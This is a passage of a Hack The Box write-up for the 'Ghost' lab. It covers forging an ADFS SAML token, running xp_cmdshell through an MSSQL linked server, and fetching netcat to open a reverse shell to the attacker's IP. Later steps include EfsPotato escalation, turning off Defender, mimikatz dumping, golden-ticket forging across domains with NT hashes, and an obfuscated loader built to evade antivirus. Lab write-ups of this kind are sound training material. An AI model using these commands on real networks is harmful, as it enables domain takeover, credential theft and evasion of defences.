Calculated MAC: b'pp\xcc\x9f\x07\x1e_\x99\xdc\xda3\xc1=t\xb8\xb7\xad\xc8\x8e\x95\x9c\xb1\x9a\x91\x00\x8a\x03L\\\x84\xe3\xb8'
Expected MAC: b'O\x83av\x7f\x00\xff\xcc= \xeb\nB\xcaT\xfc\xa2\xa7\xbcCz\xf0M\xfc\x11,4E\x12M|f'

this one returns two private keys and also the issuer is federation not core as i assumed and it also returned the full claim that we can use so lets now forge

just to prove a point after all the changes still same error (cause i am using the first private key)

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/ADFSpoof]
└──╼ [★]$ python3 ADFSpoof.py -b TKSKey.bin DKM.bin -s federation.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress --nameid administrator@ghost.htb --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
    ___    ____  ___________                   ____
   / | / __ \/ ____/ ___/____ ____ ____ / __/
  / /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_
 / ___ | / /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/
/_/ | _/_____/_/ /____/ .___/\____/\____/_/
                        /_/

A tool to for AD FS security tokens
Created by @doughsec

Calculated MAC did not match anticipated MAC
Calculated MAC: b'pp\xcc\x9f\x07\x1e_\x99\xdc\xda3\xc1=t\xb8\xb7\xad\xc8\x8e\x95\x9c\xb1\x9a\x91\x00\x8a\x03L\\\x84\xe3\xb8'
Expected MAC: b'O\x83av\x7f\x00\xff\xcc= \xeb\nB\xcaT\xfc\xa2\xa7\xbcCz\xf0M\xfc\x11,4E\x12M|f'

trying the second one gets us the token

just to give you an idea about the ADFS spoofing We're tricking core.ghost.htb which the service provider. It's the app that decided to trust ADFS as its identity provider for authentication. When a real user logs in normally

the normal flow without spoofing would be like this

  1. User hits core.ghost.htb → gets redirected to ADFS (federation.ghost.htb) because it has no session yet
  2. User authenticates to ADFS using any of this methods password, Windows auth, whatever
  3. ADFS verified the user is who they say they are, builds a SAML assertion saying that this is administrator@ghost.htb and it is verified by me the ADFS and signs it with its private token-signing key
  4. ADFS POSTs that signed assertion back to core.ghost.htb at the /adfs/saml/postResponse endpoint
  5. core.ghost.htb checks the signature against ADFS's known public certificate, sees it's valid, and since it trusts ADFS as an IdP creates a session for that user without ever checking a password itself

but because we are spoofing we don't go through step 1 and 2 we just jump to 3 directly and the domain core.ghost.htb gets tricked thinking it came from a legit ADFS (it is legit) but it is forged and there is no way the core.ghost.htb can know that ss_20260628_051607.png

now if we copied that from the response s%3AKqX3hLFbAtVSixlj_g2hHFO-7qunkZSW.wq2HgwUNNruPJft%2BqWiDtVsJ29ArNoejSS9vn6Ezdfg and set it in our browser as the cookie

MSSQL on core.ghost.htb

we got access to MSSQL debugger where we can execute commands ss_20260628_051929.png

Enumeration

the website mentions something about other domain so i expected linked servers ss_20260628_052906.png

and this returns 0 meaning we don't have system admin on the linked server

plaintext
SELECT * FROM OPENQUERY([PRIMARY], 'SELECT SUSER_NAME(), IS_SRVROLEMEMBER(''sysadmin'')');

and trying to exec failed and enable failed so there is only two more things we can try, procedures and impersonation i will start with the easiest

plaintext
EXEC ('EXEC xp_cmdshell ''whoami''') AT [PRIMARY];

and we can impersonate sa on that DB so lets get a shell ss_20260628_053325.png

and we get an RCE so lets create our payload and get a shell ss_20260628_053539.png

using nishang shell's we get caught so tried obfuscating it a little but still failed ss_20260628_054127.png

Shell as NT Service/MSSQL

Lets upload nc directly instead (I would get nc after nishang anyway cause nishang got issues with stderr)

bash

sql=EXEC ('
EXECUTE AS LOGIN = '' sa'';
EXEC sp_configure '' show advanced options'', 1;
RECONFIGURE;
EXEC sp_configure '' xp_cmdshell'', 1;
RECONFIGURE;
EXEC xp_cmdshell '' powershell.exe wget http://10.10.16.206/nc64.exe -O C:\Windows\Tasks\nc.exe'';
') AT [PRIMARY];

then execute (make sure to use a new nc64 cause old ones will be removed by the defender)

bash
sql=EXEC ('
EXECUTE AS LOGIN = '' sa'';
EXEC sp_configure '' show advanced options'', 1;
RECONFIGURE;
EXEC sp_configure '' xp_cmdshell'', 1;
RECONFIGURE;
EXEC xp_cmdshell '' C:\Windows\Tasks\nc.exe 10.10.16.206 4444 -e powershell.exe'';
') AT [PRIMARY];

we are ready to potato

plaintext
PS C:\Windows\system32> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
PS C:\Windows\system32>

tried a lot of potatoes, tried gp, sigma, rotten, juicy and was getting caught so i didn't want to obfuscate and repack binaries so i decided i am gonna try every one to the end and if it didn't work then we have to i guess

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/uplaod/EfsPotato]
└──╼ [★]$ mcs EfsPotato.cs -out:EfsPotato.exe
EfsPotato.cs(123,29): warning CS0618: `System.IO.FileStream.FileStream(System.IntPtr, System.IO.FileAccess, bool)' is obsolete: `Use FileStream(SafeFileHandle handle, FileAccess access) instead'
EfsPotato.cs(346,24): warning CS0414: The private field `Zcg.Exploits.Local.EfsrTiny.MIDL_TypeFormatString' is assigned but its value is never used
Compilation succeeded - 2 warning(s)

and somehow Efs is the only one that worked

Shell as System in corp.ghost.htb

and we got system but we are on other domain no the main domain

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/uplaod/EfsPotato]
└──╼ [★]$ rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.206] from (UNKNOWN) [10.129.231.105] 49848
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\Tasks> whoami
whoami
nt authority\system
PS C:\Windows\Tasks> hostname
hostname
PRIMARY
PS C:\Windows\Tasks>

we need to get to the ghost

plaintext
PS C:\Windows\Tasks> (Get-CimInstance Win32_ComputerSystem).Domain
(Get-CimInstance Win32_ComputerSystem).Domain
corp.ghost.htb
PS C:\Windows\Tasks>

listing trust between domains we got a child in the main domain so Since corp.ghost.htb is a child domain of the ghost.htb forest root, any Enterprise Admins group membership (which lives in the forest root, ghost.htb) has rights across all child domains by default but we'll be going the other direction — child → parent

plaintext
PS C:\Windows\Tasks> nltest /domain_trusts
nltest /domain_trusts
List of domain trusts:
    0: GHOST ghost.htb (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) ( Attr: withinforest )
    1: GHOST-CORP corp.ghost.htb (NT 5) (Forest: 0) (Primary Domain) (Native)
The command completed successfully

and here it is from the bloodhound Pasted image 20260628180453.png

Interdomain Ticket Forging

finally we can turn off the monitoring cause we're about to do something very dirty usually i would dump ntds and regs and just extract offline but because we can't reach this from our machine using creds i don't wanna upload my gofer cause it takes a time and we can just upload mimikatz it'll take less time anyway

bash
PS C:\Windows\Tasks> Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableRealtimeMonitoring $true
PS C:\Windows\Tasks>

using lsa::dump we get this output

mimikatz gave us the corp SID and the ghost$ machine account hash and we can use our bloodhound data to get the main domain hash using all these info we forge a ticket for administrator

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/uplaod]
└──╼ [★]$ ticketer.py -nthash ba2d577ab73948fff1448eb16963debb -domain-sid S-1-5-21-2034262909-2733679486-179904498 -domain corp.ghost.htb -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 administrator
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for corp.ghost.htb/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in administrator.ccache

list keys for krbtgt account specifically

Golden Ticket

and we'll use the ticket forging king

copy the ticket back

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/uplaod]
└──╼ [★]$ cat ticket.b64 | base64 -d > ticket.kirbi
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/uplaod]
└──╼ [★]$ minikerberos-kirbi2ccache ticket.kirbi ticket.ccache
INFO:root:Parsing kirbi file /home/jimmex/htb/labs/ghost/uplaod/ticket.kirbi
INFO:root:Done!
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/uplaod]
└──╼ [★]$ cp ticket.ccache /tmp/krb5cc_1000
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/uplaod]
└──╼ [★]$ klist
Ticket cache: FILE:administrator.ccache
Default principal: administrator@GHOST.HTB

Valid starting Expires Service principal
06/28/26 06:36:53  06/25/36 06:36:53  krbtgt/GHOST.HTB@GHOST.HTB
        renew until 06/25/36 06:36:53

first get a TGT

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/uplaod]
└──╼ [★]$ ticketer.py -nthash 69eb46aa347a8c68edb99be2725403ab -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-512 -domain corp.ghost.htb -spn krbtgt/ghost.htb Administrator
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for corp.ghost.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache

Shell as root

and we got root

plaintext
PS C:\> type \\dc01.ghost.htb\c$\Users\Administrator\Desktop\root.txt
type \\dc01.ghost.htb\c$\Users\Administrator\Desktop\root.txt
7da18e56aae0f472fa29d41f64b93899
PS C:\>

Beyond root

the machine was too long already didn't have a lot to try but i wanted to try the binary obfuscation instead cause not always we'll get lucky and have EfsPotato working

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/uplaod]
└──╼ [★]$ sudo pi_build --file ./sp.exe --hostname PRIMARY --args '--revshell 10.10.16.206 4444' --writetofile
[+] Updated loader source files
[+] Obfuscated sp.exe
[+] Encrypted and embedded sp.exe as a resource file
[*] Your decryption key is PFLSsBopTjsxGBOV
[*] Building loader...please hold.
[+] Obfuscated loader
[+] Adjusted entropy of loader to: 4.93
[+] Loader compiled to elfin_compose.exe

and it worked as you can see ss_20260628_074158.png

Resources